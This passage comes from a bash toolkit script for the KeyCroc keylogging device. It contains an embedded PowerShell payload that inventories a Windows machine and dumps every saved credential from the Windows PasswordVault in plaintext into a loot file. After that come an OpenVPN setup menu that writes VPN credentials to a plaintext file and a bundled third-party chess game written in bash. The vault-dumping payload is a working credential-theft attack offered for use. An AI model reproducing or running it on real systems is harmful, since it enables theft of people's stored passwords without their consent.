    \$process = Get-WmiObject Win32_process | select Handle, ProcessName, ExecutablePath, CommandLine\n\n\$listener = Get-NetTCPConnection | select @{Name=\"LocalAddress\";Expression={\$_.LocalAddress + \":\" + \$_.LocalPort}}, @{Name=\"RemoteAddress\";Expression={\$_.RemoteAddress + \":\" + \$_.RemotePort}}, State, AppliedSetting, OwningProcess\n\$listener = \$listener | foreach-object {\n    \$listenerItem = \$_\n    \$processItem = (\$process | where { [int]\$_.Handle -like [int]\$listenerItem.OwningProcess })\n
        new-object PSObject -property @{\n      \"LocalAddress\" = \$listenerItem.LocalAddress\n      \"RemoteAddress\" = \$listenerItem.RemoteAddress\n      \"State\" = \$listenerItem.State\n      \"AppliedSetting\" = \$listenerItem.AppliedSetting\n
          \"OwningProcess\" = \$listenerItem.OwningProcess\n      \"ProcessName\" = \$processItem.ProcessName\n    }\n} | select LocalAddress, RemoteAddress, State, AppliedSetting, OwningProcess, ProcessName | Sort-Object LocalAddress | Format-Table\n\n\$process = \$process | Sort-Object ProcessName | Format-Table Handle, ProcessName, ExecutablePath, CommandLine\n\n\$service = Get-WmiObject Win32_service | select State, Name, DisplayName, PathName, @{Name=\"Sort\";Expression={\$_.State + \$_.Name}} | Sort-Object Sort | Format-Table State, Name, DisplayName, PathName\n
\$software = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | where { \$_.DisplayName -notlike \$null } | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Sort-Object DisplayName | Format-Table -AutoSize\n
\$drivers = Get-WmiObject Win32_PnPSignedDriver | where { \$_.DeviceName -notlike \$null } | select DeviceName, FriendlyName, DriverProviderName, DriverVersion\n\n\$videocard = Get-WmiObject Win32_VideoController | Format-Table Name, VideoProcessor, DriverVersion, CurrentHorizontalResolution, CurrentVerticalResolution\n\n[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]\n\$vault = New-Object Windows.Security.Credentials.PasswordVault\n\$vault = \$vault.RetrieveAll() | % { \$_.RetrievePassword();\$_ }\n
Clear-Host\nWrite-Host\n\n\$computerSystem.Name\n\"${LINE}\"\n\"Manufacturer: \" + \$computerSystem.Manufacturer\n\"Model: \" + \$computerSystem.Model\n\"Serial Number: \" + \$computerBIOS.SerialNumber\n\"\"\n\"\"\n\"\"\n\n\"OS:\"\n\"${LINE}\"+ (\$computerOs | out-string)\n
\"CPU:\"\n\"${LINE}\"+ (\$computerCpu | out-string)\n\n\"RAM:\"\n\"${LINE}\"\n\"Capacity:\" + \$computerRamCapacity+ (\$computerRam | out-string)\n\n\"Mainboard:\"\n\"${LINE}\"+ (\$computerMainboard | out-string)\n\n\"Bios:\"\n\"${LINE}\"+ (Get-WmiObject Win32_bios | out-string)\n\n\"Local-user:\"\n\"${LINE}\"+ (\$luser | out-string)\n\n\"HDDs:\"\n\"${LINE}\"+ (\$Hdds | out-string)\n\n\"COM & SERIAL DEVICES:\"\n\"${LINE}\"+ (\$COMDevices | Out-String)\n\n\"Network:\"\n\"${LINE}\"\n\"Computers MAC address: \" + \$computerMAC\n\"Computers IP address: \" + \$computerIP.ipaddress[0]\n\"Public IP address: \" + \$computerPubIP\n
\"RDP: \" + \$RDP\n\"\"\n(\$Network | out-string)\n\n\"W-Lan profiles:\"\n\"${LINE}\"+ (\$WLANProfileObjects | out-string)\n\n\"listeners / ActiveTcpConnections:\"\n\"${LINE}\"+ (\$listener | out-string)\n\n\"Current running process:\"\n\"${LINE}\"+ (\$process | out-string)\n
\"Services:\"\n\"${LINE}\"+ (\$service | out-string)\n\n\"Installed software:\"\n\"${LINE}\"+ (\$software | out-string)\n\n\"Installed drivers:\"\n\"${LINE}\"+ (\$drivers | out-string)\n\n\"Installed videocards:\"\n\"${LINE}\"+ (\$videocard | out-string)\n
\"Windows/user passwords:\"\n\"${LINE}\"\n\$vault | select Resource, UserName, Password | Sort-Object Resource | ft -AutoSize\n\nRemove-Variable -Name computerPubIP,\ncomputerIP,IsDHCPEnabled,Network,Networks,\ncomputerMAC,computerSystem,computerBIOS,computerOs,
computerCpu, computerMainboard,computerRamCapacity,\ncomputerRam,driveType,Hdds,RDP,WLANProfileNames,WLANProfileName,\nOutput,WLANProfileObjects,WLANProfilePassword,WLANProfileObject,luser,\nprocess,listener,listenerItem,process,service,software,drivers,videocard,\nvault -ErrorAction SilentlyContinue -Force" >> ${WIN_PS_A}
       sleep 1
       start_win_stat | tee ${LOOT_WIND}
       fi
else
       LED R
       echo -ne "\n${LINE_}\e[40;4;5m$(ColorRed '--The KeyCroc is not pluged into Windows pc This Payload will not work on this OS')${LINE_} -->${clear} ${OS_CHECK}\n"
fi
}

##
#   - VPN SETUP-Start/stop Functions
##

function croc_vpn() {
	clear
	vpn_file_A=/etc/openvpn/*.ovpn
	vpn_file=/root/udisk/*.ovpn
	echo -ne "$(Info_Screen '
-First you will need to download the (filename.ovpn) file\n
-from your VPN server of choice\n
-place it on the keycroc root of the udisk\n
-Then select #1 VPN SETUP to do the rest\n
-Check to see if openvpn is installed if not installing it\n')${clear}\n"
 
setup_vpn() {

##
#   - VPN Check/install openvpn
##
    pkg_vpn=openvpn
	status_vpn="$(dpkg-query -W --showformat='${db:Status-Status}' "$pkg_vpn" 2>&1)"
	if [ ! $? = 0 ] || [ ! "$status_vpn" = installed ]; then
	apt install $pkg_vpn
	fi

##
#   - VPN user input
##

	  if [ -f ${vpn_file} ]; then
	  echo -ne "\n$(ColorYellow 'FOUND .ovpn FILE MOVING IT TO ect/openvpn')\n"
	  find . -name *.ovpn -exec mv '{}' "/etc/openvpn/" ";"
	  touch /etc/openvpn/credentials
	  read -p "$(ColorBlue 'ENTER YOUR USER NAME AND PRESS [ENTER]:') " VPN_USER ; echo ${VPN_USER} >> /etc/openvpn/credentials
	  read -p "$(ColorBlue 'ENTER YOUR PASSWD AND PRESS [ENTER]:') " VPN_PW ; echo ${VPN_PW} >> /etc/openvpn/credentials
	  sed -i 's/auth-user-pass/auth-user-pass \/etc\/openvpn\/credentials/g' ${vpn_file_A}
	  openvpn --config ${vpn_file_A} --daemon
else
      echo -ne "\n${LINE_}\e[40;4;5m$(ColorRed 'DID NOT FIND .ovpn FILE ON THE KEYCROC UDISK')${LINE_}${clear}\n"
      fi
}

##
#   - VPN Menu
##

MenuTitle VPN MENU
MenuColor 1 VPN SETUP ; echo -ne "         ${clear}\n"
MenuColor 2 ENABLE VPN ; echo -ne "        ${clear}\n"
MenuColor 3 DISENABLE VPN ; echo -ne "     ${clear}\n"
MenuColor 4 VPN STATUS ; echo -ne "        ${clear}\n"
MenuColor 5 EDIT .OVPN FILE ; echo -ne "    ${clear}\n"
MenuColor 6 REMOVE VPN FILES ; echo -ne "   ${clear}\n"
MenuColor 7 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd
        read mv
        case $mv in
        1) setup_vpn ; croc_vpn ;;
        2) openvpn --config ${vpn_file_A} --daemon ; echo -ne "\n\e[40;m$(ColorGreen 'ENABLE VPN CHECK VPN STATUS')${clear}\n" ; croc_vpn ;;
        3) killall openvpn ; service openvpn restart ; echo -ne "\n\e[40;m$(ColorRed 'DISENABLE VPN CHECK VPN STATUS')${clear}\n" ; croc_vpn ;;
        4) route -n ; ifconfig ; ip route show ; systemctl status openvpn* ; croc_vpn ;;
        5) nano ${vpn_file_A} ; croc_vpn ;;
        6) rm -f ${vpn_file_A} /etc/openvpn/credentials ${vpn_file} ; echo -ne "\n\e[40;m$(ColorRed '.OVPN AND CREDENTIALS FILES HAS BEEN REMOVED')${clear}\n" ; croc_vpn ;;
        7) main_menu ;;
        0) exit 0 ;;
        *) invalid_entry ;;
        esac
}

##
#   - Croc Pot Plus Pass time
##

function pass_time() {
	clear
		echo -ne "$(Info_Screen '
-I am not the developer of these script\n
-Thought I would share them\n
-Show the power of the keycroc and bash scripting\n')${clear}\n"

##
#   - Pass time Chess
##
	
chess_game() {
# Chess Bash
# a simple chess game written in an inappropriate language :)
#
# Copyright (c) 2015 by Bernhard Heinloth <bernhard@heinloth.net>
#
# This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
# You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

# Default values
strength=3
namePlayerA="Player"
namePlayerB="AI"
color=true
colorPlayerA=4
colorPlayerB=1
colorHover=4
colorHelper=true
colorFill=true
ascii=false
warnings=false
computer=-1
mouse=true
guiconfig=false
cursor=true
sleep=2
cache=""
cachecompress=false
unicodelabels=true
port=12433

# internal values
timestamp=$( date +%s%N )
fifopipeprefix="/tmp/chessbashpipe"
selectedX=-1
selectedY=-1
selectedNewX=-1
selectedNewY=-1
remote=0
remoteip=127.0.0.1
remotedelay=0.1
remotekeyword="remote"
aikeyword="ai"
aiPlayerA="Marvin"
aiPlayerB="R2D2"
A=-1
B=1
originY=4
originX=7
hoverX=0
hoverY=0
hoverInit=false
labelX=-2
labelY=9
type stty >/dev/null 2>&1 && useStty=true || useStty=false

# Choose unused color for hover
while (( colorHover == colorPlayerA || colorHover == colorPlayerB )) ; do
	(( colorHover++ ))
done

# Check Unicode availbility
# We do this using a trick: printing a special zero-length unicode char (http://en.wikipedia.org/wiki/Combining_Grapheme_Joiner) and retrieving the cursor position afterwards.
# If the cursor position is at beginning, the terminal knows unicode. Otherwise it has printed some replacement character.
echo -en "\e7\e[s\e[H\r\xcd\x8f\e[6n" && read -sN6 -t0.1 x
if [[ "${x:4:1}" == "1" ]] ; then
	ascii=false
	unicodelabels=true
else
	ascii=true
	unicodelabels=false
fi
echo -e "\e[u\e8\e[2K\r\e[0m\nWelcome to \e[1mChessBa.sh\e[0m - a Chess game written in Bash \e[2mby Bernhard Heinloth, 2015\e[0m\n"

# Print version information
function version() {
	echo "ChessBash 0.4"
}

# Wait for key press
# no params/return
function anyKey(){
	$useStty && stty echo
	echo -e "\e[2m(Press any key to continue)\e[0m"
	read -sN1
	$useStty && stty -echo
}

# Error message, p.a. on bugs
# Params:
#	$1	message
# (no return value, exit game)
function error() {
	if $color ; then
		echo -e "\e[0;1;41m $1 \e[0m\n\e[3m(Script exit)\e[0m" >&2
	else
		echo -e "\e[0;1;7m $1 \e[0m\n\e[3m(Script exit)\e[0m" >&2
	fi
	anyKey
	exit 1
}

# Check prerequisits (additional executables)
# taken from an old script of mine (undertaker-tailor)
# Params:
#	$1	name of executable
function require() {
	type "$1" >/dev/null 2>&1 ||
		{
			echo "This requires $1 but it is not available on your system. Aborting." >&2
			exit 1
		}
}

# Validate a number string
# Params:
#	$1	String with number
# Return 0 if valid, 1 otherwise
function validNumber() {
	if [[ "$1" =~ ^[0-9]+$ ]] ; then
		return 0
	else
		return 1
	fi
}

# Validate a port string
# Must be non privileged (>1023)
# Params:
#	$1	String with port number
# Return 0 if valid, 1 otherwise
function validPort() {
	if validNumber "$1" && (( 1 < 65536 && 1 > 1023 )) ; then
		return 0
	else
		return 1
	fi
}

# Validate an IP v4 or v6 address
# source: http://stackoverflow.com/a/9221063
# Params:
#	$1	IP address to validate
# Return 0 if valid, 1 otherwise
function validIP() {
	if [[ "$1" =~ ^(((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))|((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))))$ ]] ; then
		return 0
	else
		return 1
	fi
}

# Named ANSI colors
declare -a colors=( "black" "red" "green" "yellow" "blue" "magenta" "cyan" "white" )

# Retrieve ANSI color code from string
# Black and white are ignored!
# Params:
#	$1	Color string
# Return Color code or 0 if not a valid
function getColor() {
	local c
	for (( c=1; c<7; c++ )) ; do
		local v=${colors[$c]:0:1}
		local i=${1:0:1}
		if [[ "${v^^}" == "${i^^}" || "$c" -eq "$i" ]] ; then
			return $c
		fi
	done
	return 0
}

# Check if ai player
# Params:
#	$1	player
# Return status code 0 if ai player
function isAI() {
	if (( $1 < 0 )) ; then
		if [[ "${namePlayerA,,}" == "${aikeyword,,}" ]] ; then
			return 0
		else
			return 1
		fi
	else
		if [[ "${namePlayerB,,}" == "${aikeyword,,}" ]] ; then
			return 0
		else
			return 1
		fi
	fi
}

# Help message
# Writes text to stdout
function help {
	echo
	echo -e "\e[1mChess Bash\e[0m - a small chess game written in Bash"
	echo
	echo -e "\e[4mUsage:\e[0m $0 [options]"
	echo
	echo -e "\e[4mConfiguration options\e[0m"
	echo "    -g         Use a graphical user interface (instead of more parameters)"
	echo
	echo -e "\e[4mGame options\e[0m"
	echo -e "    -a \e[2mNAME\e[0m    Name of first player, \"$aikeyword\" for computer controlled or the"
	echo "               IP address of remote player (Default: $namePlayerA)"
	echo -e "    -b \e[2mNAME\e[0m    Name of second player, \"$aikeyword\" for computer controlled or"
	echo -e "               \"$remotekeyword\" for another player (Default: \e[2m$namePlayerB\e[0m)"
	echo -e "    -s \e[2mNUMBER\e[0m  Strength of computer (Default: \e[2m$strength\e[0m)"
	echo -e "    -w \e[2mNUMBER\e[0m  Waiting time for messages in seconds (Default: \e[2m$sleep\e[0m)"
	echo
	echo -e "\e[4mNetwork settings for remote gaming\e[0m"
	echo -e "    -P \e[2mNUMBER\e[0m  Set port for network connection (Default: \e[2m$port\e[0m)"
	echo -e "\e[1;33mAttention:\e[0;33m On a network game the person controlling the first player / A"
	echo -e "(using \"\e[2;33m-b $remotekeyword\e[0;33m\" as parameter) must start the game first!\e[0m"
	echo
	echo -e "\e[4mCache management\e[0m"
	echo -e "    -c \e[2mFILE\e[0m    Makes cache permanent - load and store calculated moves"
	echo "    -z         Compress cache file (only to be used with -c, requires gzip)"
	echo -e "    -t \e[2mSTEPS\e[0m   Exit after STEPS ai turns and print time (for benchmark)"
	echo
	echo -e "\e[4mOutput control\e[0m"
	echo "    -h         This help message"
	echo "    -v         Version information"
	echo "    -V         Disable VT100 cursor movement (for partial output changes)"
	echo "    -M         Disable terminal mouse support"
	echo "    -i         Enable verbose input warning messages"
	echo "    -l         Board labels in ASCII (instead of Unicode)"
	echo "    -p         Plain ascii output (instead of cute unicode figures)"
	echo "               This implies ASCII board labels (\"-l\")"
	echo "    -d         Disable colors (only black/white output)"
	echo -e "    \e[4mFollowing options will have no effect while colors are disabled:\e[0m"
	echo -e "    -A \e[2mNUMBER\e[0m  Color code of first player (Default: \e[2m$colorPlayerA\e[0m)"
	echo -e "    -B \e[2mNUMBER\e[0m  Color code of second player (Default: \e[2m$colorPlayerB\e[0m)"
	echo "    -n         Use normal (instead of color filled) figures"
	echo "    -m         Disable color marking of possible moves"
	echo
	echo -e "\e[2m(Default values/options should suit most systems - only if you encounter a"
	echo -e "problem you should have a further investigation of these script parameters."
	echo -e "Or just switch to a real chess game with great graphics and ai! ;)\e[0m"
	echo
}

# Parse command line arguments
while getopts ":a:A:b:B:c:P:s:t:w:dghilmMnpvVz" options; do
	case $options in
		a )	if [[ -z "$OPTARG" ]] ;then
				echo "No valid name for first player specified!" >&2
				exit 1
			# IPv4 && IPv6 validation, source: http://stackoverflow.com/a/9221063
			elif validIP "$OPTARG" ; then
				remote=-1
				remoteip="$OPTARG"
			else
				namePlayerA="$OPTARG"
			fi
			;;
		A )	if ! getColor "$OPTARG" ; then
				colorPlayerA=$?
			else
				echo "'$OPTARG' is not a valid color!" >&2
				exit 1
			fi
			;;
		b )	if [[ -z "$OPTARG" ]] ;then
				echo "No valid name for second player specified!" >&2
				exit 1
			elif [[ "${OPTARG,,}" == "$remotekeyword" ]] ; then
				remote=1
			else
				namePlayerB="$OPTARG"
			fi
			;;
		B )	if ! getColor "$OPTARG" ; then
				colorPlayerB=$?
			else
				echo "'$OPTARG' is not a valid color!" >&2
				exit 1
			fi
			;;
		s )	if validNumber "$OPTARG" ; then
				strength=$OPTARG
			else
				echo "'$OPTARG' is not a valid strength!" >&2
				exit 1
			fi
			;;
		P )	if validPort "$OPTARG" ; then
				port=$OPTARG
			else
				echo "'$OPTARG' is not a valid gaming port!" >&2
				exit 1
			fi
			;;
		w )	if validNumber "$OPTARG" ; then
				sleep=$OPTARG
			else
				echo "'$OPTARG' is not a valid waiting time!" >&2
				exit 1
			fi
			;;
		c )	if [[ -z "$OPTARG" ]] ; then
				echo "No valid path for cache file!" >&2
				exit 1
			else
				cache="$OPTARG"
			fi
			;;
		t )	if validNumber "$OPTARG" ; then
				computer=$OPTARG
			else
				echo "'$OPTARG' is not a valid number for steps!" >&2
				exit 1
			fi
			;;
		d )	color=false
			;;
		g )	guiconfig=true
			;;
		l )	unicodelabels=false
			;;
		n )	colorFill=false
			;;
		m )	colorHelper=false
			;;
		M )	mouse=false
			;;
		p )	ascii=true
			unicodelabels=false
			;;
		i )	warnings=true
			;;
		v )	version
			;;
		V )	cursor=false
			;;
		z )	require gzip
			require zcat
			cachecompress=true
			;;
		h )	help
			exit 0
			;;
		\?)
			echo "Invalid option: -$OPTARG" >&2
			;;
	esac
done

# get terminal dimension
echo -en '\e[18t'
if read -d "t" -s -t 1 tmp ; then
	termDim=(${tmp//;/ })
	termHeight=${termDim[1]}
	termWidth=${termDim[2]}
else
	termHeight=24
	termWidth=80
fi

# gui config
if $guiconfig ; then

	# find a dialog system
	if type gdialog >/dev/null 2>&1 ; then
		dlgtool="gdialog"
		dlgh=0
		dlgw=100
	elif type dialog >/dev/null 2>&1 ; then
		dlgtool="dialog"
		dlgh=0
		dlgw=0
	elif type whiptail >/dev/null 2>&1 ; then
		dlgtool="whiptail"
		dlgh=0
		dlgw=$(( termWidth-10 ))
	else
		dlgtool=""
		error "The graphical configuration requires gdialog/zenity, dialog or at least whiptail - but none of them was found on your system. You have to use the arguments to configure the game unless you install one of the required tools..."
	fi

	# Output the type of the first player in a readable string
	function typeOfPlayerA() {
		if [[ "$remote" -eq "-1" ]] ; then
			echo "Connect to $remoteip (Port $port)"
			return 2
		elif isAI $A ; then
			echo "Artificial Intelligence (with strength $strength)"
			return 1
		else
			echo "Human named $namePlayerA"
			return 0
		fi
	}

	# Output the type of the second player in a readable string
	function typeOfPlayerB() {
		if [[ "$remote" -eq "1" ]] ; then
			echo "Host server at port $port"
			return 2
		elif isAI $B ; then
			echo "Artificial Intelligence (with strength $strength)"
			return 1
		else
			echo "Human named $namePlayerB"
			return 0
		fi
	}

	# Execute a dialog
	# Params: Dialog params (variable length)
	# Prints: Dialog output seperated by new lines
	# Returns the dialog program return or 255 if no dialog tool available
	function dlg() {
		if [[ -n "$dlgtool" ]] ; then
			$dlgtool --backtitle "ChessBash" "$@" 3>&1 1>&2 2>&3 | sed -e "s/|/\n/g" | sort -u
			return ${PIPESTATUS[0]}
		else
			return 255
		fi
	}

	# Print a message box with a warning/error message
	# Params:
	#	$1	Message
	function dlgerror() {
		#TODO: normal error
		dlg --msgbox "$1" $dlgh $dlgw
	}

	# Start the dialog configuration
	# Neither params nor return, this is just a function for hiding local variables!
	function dlgconfig() {
		local option_mainmenu_playerA="First Player"
		local option_mainmenu_playerB="Second Player"
		local option_mainmenu_settings="Game settings"
		local dlg_on="ON"
		local dlg_off="OFF"

		declare -a option_player=( "Human" "Computer" "Network" )
		declare -a option_settings=( "Color support" "Unicode support" "Verbose Messages" "Mouse support" "AI Cache" )

		local dlg_main
		while dlg_main=$(dlg --ok-button "Edit" --cancel-button "Start Game" --menu "New Game" $dlgh $dlgw 0 "$option_mainmenu_playerA" "$(typeOfPlayerA || true)" "$option_mainmenu_playerB" "$(typeOfPlayerB || true )" "$option_mainmenu_settings" "Color, Unicode, Mouse & AI Cache") ; do
			case "$dlg_main" in

				# Player A settings
				"$option_mainmenu_playerA" )
					typeOfPlayerA > /dev/null
					local type=$?
					local dlg_player
					dlg_player=$(dlg --nocancel --default-item "${option_player[$type]}" --menu "$option_mainmenu_playerA" $dlgh $dlgw 0 "${option_player[0]}" "$( isAI $A && echo "$option_mainmenu_playerA" || echo "$namePlayerA" )" "${option_player[1]}" "with AI (of strength $strength)" "${option_player[2]}" "Connect to Server $remoteip" )
					case "$dlg_player" in
						# Human --> get Name
						*"${option_player[0]}"* )
							[[ "$remote" -eq "-1" ]] && remote=0
							local dlg_namePlayer
							dlg_namePlayer=$(dlg --inputbox "Name of $option_mainmenu_playerA" $dlgh $dlgw "$( isAI $A && echo "$option_mainmenu_playerA" || echo "$namePlayerA" )") && namePlayerA="$dlg_namePlayer"
							;;
						# Computer --> get Strength
						*"${option_player[1]}"* )
							[[ "$remote" -eq "-1" ]] && remote=0
							namePlayerA=$aikeyword
							local dlg_strength
							if dlg_strength=$(dlg --inputbox "Strength of Computer" $dlgh $dlgw  "$strength") ; then
								if validNumber "$dlg_strength" ; then
									strength=$dlg_strength
								else
									dlgerror "Your input '$dlg_strength' is not a valid number!"
								fi
							fi
							;;
						# Network --> get Server and Port
						*"${option_player[2]}"* )
							local dlg_remoteip
							if dlg_remoteip=$(dlg --inputbox "IP(v4 or v6) address of Server" $dlgh $dlgw "$remoteip") ; then
								if validIP "$dlg_remoteip" ; then
									remote=-1
									remoteip="$dlg_remoteip"
									local dlg_networkport
									if dlg_networkport=$(dlg --inputbox "Server Port (non privileged)" $dlgh $dlgw "$port") ; then
										 if validPort "$dlg_networkport" ; then
											port=$dlg_networkport
										else
											dlgerror "Your input '$dlg_remoteip' is not a valid Port!"
										fi
									fi
								else
									dlgerror "Your input '$dlg_remoteip' is no valid IP address!"
									continue
								fi
							fi
							;;
					esac
					# Player color
					if $color ; then
						local colorlist=""
						local c
						for (( c=1; c<7; c++ )) ; do
							colorlist+=" ${colors[$c]^} figures"
						done
						local dlg_player_color
						if dlg_player_color=$(dlg --nocancel --default-item "${colors[$colorPlayerA]^}" --menu "Color of $option_mainmenu_playerA" $dlgh $dlgw 0 "$colorlist") ; then
							getColor "$dlg_player_color" || colorPlayerA=$?
						fi
					fi
					;;

				# Player B settings
				"$option_mainmenu_playerB" )
					typeOfPlayerB > /dev/null
					local type=$?
					local dlg_player
					dlg_player=$(dlg --nocancel --default-item "${option_player[$type]}" --menu "$option_mainmenu_playerB" $dlgh $dlgw 0 "${option_player[0]}" "$( isAI $B && echo "$option_mainmenu_playerB" || echo "$namePlayerB" )" "${option_player[1]}" "with AI (of strength $strength)" "${option_player[2]}" "Wait for connections on port $port" )
					case "$dlg_player" in
						# Human --> get Name
						*"${option_player[0]}"* )
							[[ "$remote" -eq "1" ]] && remote=0
							local dlg_namePlayer
							dlg_namePlayer=$(dlg --inputbox "Name of $option_mainmenu_playerB" $dlgh $dlgw "$( isAI $B && echo "$option_mainmenu_playerB" || echo "$namePlayerB" )") && namePlayerA="$dlg_namePlayer"
							;;
						# Computer --> get Strength
						*"${option_player[1]}"* )
							[[ "$remote" -eq "1" ]] && remote=0
							namePlayerB=$aikeyword
							local dlg_strength
							if dlg_strength=$(dlg --inputbox "Strength of Computer" $dlgh $dlgw  "$strength") ; then
								if validNumber "$dlg_strength" ; then
									strength=$dlg_strength
								else
									dlgerror "Your input '$dlg_strength' is not a valid number!"
								fi
							fi
							;;
						# Network --> get Server and Port
						*"${option_player[2]}"* )
							remote=1
							local dlg_networkport
							if dlg_networkport=$(dlg --inputbox "Server Port (non privileged)" $dlgh $dlgw "$port") ; then
								 if validPort "$dlg_networkport" ; then
									port=$dlg_networkport
								else
									dlgerror "Your input '$dlg_remoteip' is not a valid Port!"
								fi
							fi
							;;
					esac
					# Player color
					if $color ; then
						local colorlist=""
						local c
						for (( c=1; c<7; c++ )) ; do
							colorlist+=" ${colors[$c]^} figures"
						done
						local dlg_player_color
						if dlg_player_color=$(dlg --nocancel --default-item "${colors[$colorPlayerB]^}" --menu "Color of $option_mainmenu_playerB" $dlgh $dlgw 0 "$colorlist") ; then
							getColor "$dlg_player_color" || colorPlayerB=$?
						fi
					fi
					;;

				# Game settings
				"$option_mainmenu_settings" )
					if dlg_settings=$(dlg --separate-output --checklist "$option_mainmenu_settings" $dlgh $dlgw $dlgw "${option_settings[0]}" "with movements and figures" $($color && echo $dlg_on || echo $dlg_off) "${option_settings[1]}" "optional including board labels" $($ascii && echo $dlg_off || echo $dlg_on) "${option_settings[2]}" "be chatty" $($warnings && echo $dlg_on || echo $dlg_off) "${option_settings[3]}" "be clicky" $($mouse && echo $dlg_on || echo $dlg_off) "${option_settings[4]}" "in a regluar file" $([[ -n "$cache" ]] && echo $dlg_on || echo $dlg_off) ) ; then
						# Color support
						if [[ "$dlg_settings" == *"${option_settings[0]}"* ]] ; then
							color=true
							dlg --yesno "Enable movement helper (colorize possible move)?" $dlgh $dlgw && colorHelper=true || colorHelper=false
							dlg --yesno "Use filled (instead of outlined) figures for both player?" $dlgh $dlgw && colorFill=true || colorFill=false
						else
							color=false
							colorFill=false
							colorHelper=false
						fi
						# Unicode support
						if [[ "$dlg_settings" == *"${option_settings[1]}"* ]] ; then
							ascii=false
							( dlg --yesno "Use Unicode for board labels?" $dlgh $dlgw ) && unicodelabels=true || unicodelabels=false
						else
							ascii=true
							unicodelabels=false
						fi
						# Verbose messages
						[[ "$dlg_settings" == *"${option_settings[2]}"* ]] && warnings=true || warnings=false
						# Mouse support
						[[ "$dlg_settings" == *"${option_settings[3]}"* ]] && mouse=true || mouse=false
						# AI Cache
						local dlg_cache
						if [[ "$dlg_settings" == *"${option_settings[4]}"* ]] && dlg_cache=$(dlg --inputbox "Cache file:" $dlgh $dlgw "$([[ -z "$cache" ]] && echo "$(pwd)/chessbash.cache" || echo "$cache")") && [[ -n "$dlg_cache" ]] ; then
							cache="$dlg_cache"
							type gzip >/dev/null 2>&1 && type zcat >/dev/null 2>&1 && dlg --yesno "Use GZip compression for Cache?" $dlgh $dlgw && cachecompress=true || cachecompress=false
						else
							cache=""
						fi
						# Waiting time (ask always)
						local dlg_sleep
						if dlg_sleep=$(dlg --inputbox "How long should every message be displayed (in seconds)?" $dlgh $dlgw "$sleep") ; then
							if validNumber "$dlg_sleep" ; then
								sleep=$dlg_sleep
							else
								dlgerror "Your input '$dlg_sleep' is not a valid number!"
							fi
						fi
					fi
					;;

				# Other --> exit (gdialog)
				* )
					break
					;;
			esac
		done
	}

	# start config dialog
	dlgconfig
fi

# Save screen
if $cursor ; then
	echo -e "\e7\e[s\e[?47h\e[?25l\e[2J\e[H"
fi

# lookup tables
declare -A cacheLookup
declare -A cacheFlag
declare -A cacheDepth

# associative arrays are faster than numeric ones and way more readable
declare -A redraw
if $cursor ; then
	for (( y=0; y<10; y++ )) ; do
		for (( x=-2; x<8; x++ )) ; do
			redraw[$y,$x]=""
		done
	done
fi

declare -A field

# initialize setting - first row
declare -a initline=( 4  2  3  6  5  3  2  4 )
for (( x=0; x<8; x++ )) ; do
	field[0,$x]=${initline[$x]}
	field[7,$x]=$(( (-1) * ${initline[$x]} ))
done
# set pawns
for (( x=0; x<8; x++ )) ; do
	field[1,$x]=1
	field[6,$x]=-1
done
# set empty fields
for (( y=2; y<6; y++ )) ; do
	for (( x=0; x<8; x++ )) ; do
		field[$y,$x]=0
	done
done

# readable figure names
declare -a figNames=( "(empty)" "pawn" "knight" "bishop" "rook" "queen" "king" )
# ascii figure names (for ascii output)
declare -a asciiNames=( "k" "q" "r" "b" "n" "p" " " "P" "N" "B" "R" "Q" "K" )
# figure weight (for heuristic)
declare -a figValues=( 0 1 5 5 6 17 42 )

# Warning message on invalid moves (Helper)
# Params:
#	$1	message
# (no return value)
function warn() {
	message="\e[41m\e[1m$1\e[0m\n"
	draw
}

# Readable coordinates
# Params:
#	$1	row position
